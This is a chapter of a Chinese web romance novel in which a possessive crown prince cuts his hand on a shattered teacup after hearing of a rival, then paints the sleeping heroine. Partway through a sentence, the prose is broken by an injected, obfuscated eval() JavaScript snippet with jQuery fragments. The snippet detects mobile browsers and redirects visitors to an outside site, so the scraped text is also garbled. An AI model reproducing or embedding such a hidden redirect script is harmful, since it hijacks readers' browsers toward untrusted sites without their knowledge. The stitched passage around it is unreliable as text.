45. 患得患失
作品:《招惹阴郁太子后她死遁了》 偌大的宫殿里,除了他,哪里有旁人存在。
假使谁看见了眼前这一幕,只怕要吓得起一身寒栗。
但随着少年冷冷的声音落下,确乎有一道如同鬼魅的身影凭空出现,抱拳对他行礼:“殿下。”
来者穿着全黑的劲装,干净利落,脸上戴着紧贴面容骨骼的银色面具。
乍看上去,此人存在感极低,但仔细看,就能发现他表象下暗藏的锋芒,随时准备出鞘饮血。
与他的姓名无比相称。
幽锋原是林府精心培养的一名暗卫,被林尧晟悄悄送至钟晏如身边。
早在一年前,钟晏如便将他指配到宁璇身边,暗中保护并关注宁璇的去向。
“她刚刚都去过何处,遇见了何人?”钟晏如启唇。
她显然归来迟了,而夏封又不知所踪,他立时便猜到有事发生。
宁璇性子沉静谨慎,走路时一向稳妥,而宫内的路,她也非常熟悉。
除非遇上什么急事,她是万不会摔倒的。
幽锋据实以答:“启禀殿下,宁姑娘撞见了容公子。”
听见这个姓名,钟晏如的神色立马就变了。
女孩今夜的心不在焉都变得有迹可循。
他攥着茶盏的手用力到指骨都泛白,仅有他自己知晓心中掀起怎样的汹涌暗潮:“哦,他们都说了些什么?”
“容公子说待他高中进士后,便想法子将宁姑娘带出宫。”幽锋边说着,边去觑太子殿下的神情。
他虽与这位主子交谈不多,但对方对那位宁姑娘显然不一般。
至于究竟是关心还是旁的更深的情愫,幽锋不敢多忖度。
他正想着,听见一阵东西破碎的声息,耳骨微动,四处寻找起这动静的来处。
不想看见钟晏如白玉似的手中淌下殷红的鲜血。
红与白相互衬得尤其扎眼,连带着他素白的衣袖上也漫开朵朵碎红。
“殿下!”幽锋耳目清明,异于常人,一下就看出他是被碎瓷划破了掌心。
而碎瓷从何而来,又是如何碎的,不得而知,叫幽锋感到心惊。
伤者面上却没什么表情,仿佛没有痛觉一般。
钟晏如的确不觉得疼,容清要从他这儿抢走宁璇的念头盘旋在他的脑际,让他耳畔一片静默。
适才就极力压抑的阴暗心思如同见了野草的火,转瞬就燎原。
幽锋再度唤了他一声,少年才有了些反应,将脸转向他的方向。
他原以为太子殿下回过神,未曾预料看见他双目有血丝蔓延,连同眼尾都红如残霞。
被这双眸子发狠地瞧着,便是他也心生惧意。
“你以为皇宫是什么地方,谁都能进出?你想要在我眼皮下将她带走,绝无可能。”每一个字都像是从他齿间挤出来的。
他这是错将他当作了别人。
尽管少年没具体说“你”与“她”分别指的是谁,但幽锋哪能猜不出来。
他看着几近陷入疯魔的主子,不敢轻易靠近。
可少年的伤口需要趁早处理,幽锋两厢权衡过后,假装对着殿外道:“宁姑娘,你回来了。”
此举终归是灵机一动,幽锋并不抱太大希望,想着不行的话,他便上前点太子的穴位,强制叫他恢复清醒。
然而钟晏如闻声随即好似换了个人,将受伤的手藏在身后,又对他说:“你先躲起来,不能叫她发现。”
竟真的奏效了!
如若不是他的眉目还有几分未褪的阴鸷,看着与正常简直几乎无二致。
幽锋越发意识到宁璇在这位主子心里的分量。
他趁此空当,喊道:“殿下,你且看仔细,属下是幽锋啊。”
“阿璇呢?”这一次,他好似回过了神,目光变得清明,但仍有股迷糊劲儿,启唇喃喃问道。
好似无论发生何事,他唯独在意的便只有宁璇。
“宁姑娘没来,”幽锋低头,解释道,“殿下刚刚……不大对劲,属下这才剑走偏锋,想叫殿下恢复神智。”
原来如此,那就好。
钟晏如紧绷着的双肩松懈下来。
他不能让宁璇瞧见,会将人吓跑的。
知觉回归身躯的那一刻,所有痛意直击天灵盖,钟晏如潜意识想要避开疼痛,松开手心。
入目是一片狼藉血色,几块碎瓷片甚至扎进了皮肉,有些深度。
“抱歉,我一时失态,可有吓着你?”少年面不改色地将碎瓷拔出,姿态温雅,活脱脱一位无害的翩翩郎君。
幽锋深谙自己该做一个怎样的下属,平静答“不曾”。
此刻两人有着不约而同的默契,都想抹去刚刚发生的事情的痕迹。
“宁璇她,是否答应了容清?”少年看着再淡然,话间的停顿却暴露了他真实的内心。
实际上,钟晏如怕极了听见自己不想听见的回答。
幽锋不禁抬眸,瞥见少年正继续往伤口上洒药。
金疮药烈性十足,霎时间就使得他额角耸起龙虬似的青筋。即便忍受着这般痛楚,他的声音没有半点颤抖。
然而就是这样一个人,会因为宁璇生出患得患失的惊怖。
“宁姑娘没有答应,更没有亲口承认自己的身份,有意与那位容公子划清界限。”
钟晏如不自觉地松了口气,与此同时,他上好了药粉:“我省得了,你先退下吧,继续替我盯着她。”
毫无征兆地,幽锋像来时一样悄然隐入暗处。
钟晏如转身去寻纱布。
他原想等到明日宁璇亲眼目睹了伤处后再做包扎,好令她动动恻隐之心,但一时半会儿他想不出该如何向她解释怎么弄伤的话术,方才作罢。
阿璇最是心软,便是看见他缠着纱布的手,也会暂时搁置今夜他们的不欢而散。
这个损己的想法冒出来后,钟晏如脑中紧接着涌上其他想法。
不若将伤口划得再深些,那样一来,他可以顺理成章地让宁璇多纵着他几日。
他捡拾起一块瓷片,临到手心一寸,将瓷片丢远。
钟晏如,你都做了些什么,你怎么能变成这副不人不鬼的模样,使出如此下作的手段?
他嫌恶地唾弃自己,毫不留情。
虽说止住了血,疼痛在所难免。钟晏如静默地坐在桌前,凭疼痛打起精神细思,防来防去仍有遗漏,终究还是让她见到了容清。
他抬手捏了捏眉骨,无比挫败。
“殿下!”他尚且没独处一会儿,便听见一阵虚浮的脚步声。
夏封想不瞧见殿内的狼藉都难,惊讶且浮夸地冲到钟晏如跟前,道:“殿下,你的手!没事吧?”
钟晏如被他尖细的嗓门刺得脑仁疼,摆手说:“无妨,稍后你收拾干净。”
夏封应喏,发现主子脸色差到极点,心里头发虚,膝盖亦跟着一软,先跪下来请罪:“殿下,还请殿下责罚奴才。”
“缘何让本宫责罚你,你做错了什么?”烛火将少年面容上浮着的汗珠照得一清二楚,但这并不影响他的清俊端方。
他单手托着额头,不咸不淡地扫来眸光,不怒自威。
“殿下嘱咐奴才陪同宁姑娘,但奴才半路上闹肚子,离开了宁姑娘左右。奴才自知没能完成主子的交代,殿下怎样罚奴才,奴才都无有怨言。”夏封心惊胆战地说了一长串话。
他是清楚宁璇对钟晏如有多紧要的,故而见到少年郁卒的神态,便猜到很有可能是宁璇出了什么事情。
掌心攒着一把冷汗,他率先认错,反而是留给自己余地。
钟晏如心情不佳,没太多精力分给他:“谅你是初犯,我不与你计较。倘若有第二次,夏封,本宫定不会轻饶你。”
他的声音仿佛闷在胸腔内,话里头的威胁可一点不含糊。
夏封连忙谢恩,背过身去一刻不停地去清理地面。
有一段
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16455807|175233||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
时日钟晏如不曾对他横眉厉色,他险些要忘记这位的冷硬。
除了宁璇,其他人在他这儿,从来都是就事论事,没有容情。
*
如钟晏如所想,翌日宁璇瞧见他缠着纱布的手,眸中立马盛满担忧,问他这是怎么了。
能得她这句关怀,钟晏如心想他便是再被划几百个口子,也值得。
昨夜的不欢而散了若无痕,好似从未发生。
仗着单只手不能使力,他心满意足地享受着被宁璇精细看顾的时光。
午后,夏封搬了张醉翁椅放在庭院内,钟晏如便靠着椅子晒太阳,分外惬意地半眯着眼。
过了上元节,宫里渐次有回暖的迹象。
今早夏封在宫道边的柳树梢头发现一重嫩翠,他仿佛发现了什么奇珍异宝似的,四处嚷嚷着叫东宫众人都知晓了。
春日好,和风好似掺了醇酒,吹得人慵懒。
宁璇则坐在杌子上,沐浴着暖日光辉,不声不响地合上眼。
围脖的绒毛被她枕着,让她整个人瞧起来毛茸茸的。
钟晏如瞧着昏昏欲睡好似狸奴的她,眉目不自觉铺满葳蕤春光。
钟晏如静静地看着她许久,发觉她好像真的睡了过去。
心神一动,他招手叫身后立侍的夏封凑到耳边,轻声吩咐他去取笔墨。
闻言,夏封看向他受伤的右手,意思显而易见。
“不是还有一只手么。”钟晏如风轻云淡地说。
用左手作画?
夏封有些狐疑,但不敢违背主子的命令,轻手轻脚地离开,生怕惊动宁璇。
面前摆好纸笔后,钟晏如提笔在纸上作画。
寥寥数笔,他便将宁璇酣眠的姿态画了个大概。
夏封望得分明,清楚钟晏如并未托大。
他千真万确能使左手,而且绝不比右手差,端的是四平八稳。
不愧是他选定的天命之子,夏封双目放光,崇拜中又生出几分自己慧眼识珠的骄傲。
太子殿下的画同他的字一样,都是上佳的墨宝。
只是这三年来,他鲜少有闲情雅致作画,因此这是夏封头一次得见他动笔。
丹青难抓得是神韵,但在太子殿下笔下,女孩文秀放松的样子跃然纸上。
与其说是少年的画技高超,莫不如说是因为其中注入了他的情意。
所思即所见,所见即所想。
确切地说,这是钟晏如眼中的宁璇。
笔触柔软轻盈,含着未诉之于口的温柔,细致到少女的每一根发梢都被金墨勾勒,画中的宁璇直叫周遭都黯然失色。
行云流水般作完一张画,钟晏如拿起来端详,接着落印,满意地勾起唇角。
夏封从旁压低声音夸赞:“殿下简直是画圣转世。”
话音刚落,宁璇那儿有转醒的迹象。
她轻哼了一声,随即睁开惺忪睡眼,在朦胧间对上齐齐盯着她看的两人。
头脑尚且没从白日梦中抽离,她半遮着的眼懵懂清澈。
“醒了?”钟晏如极其自然地端过夏封为自己准备的香片茶,递给她,“先润润嗓子。”
宁璇顺从地接过茶盏,抿了两口。
茶香清幽,很是提神,她醒了大半,反应过来是怎样的情况。
“我睡过去了,你怎么不叫醒我?”她想要站起身,不料双腿发麻,就要向前栽。
钟晏如从下托起她的手:“今日也没什么事,你小憩片刻又何妨。才睡醒,再缓缓,不必着急。”
他说得不无道理,午时她原本就可以回侧厢歇会儿,此时在东宫休息也没什么不同。
她于是又坐下来,看向对面的布置,好奇地问:“这仗势,殿下刚刚做了什么?”
提及此事,夏封比钟晏如还要积极献宝,“殿下在替宁姑娘作画儿呢。”
被戳穿的钟晏如偏头射给他一个目光,“人精”小太监抿紧唇。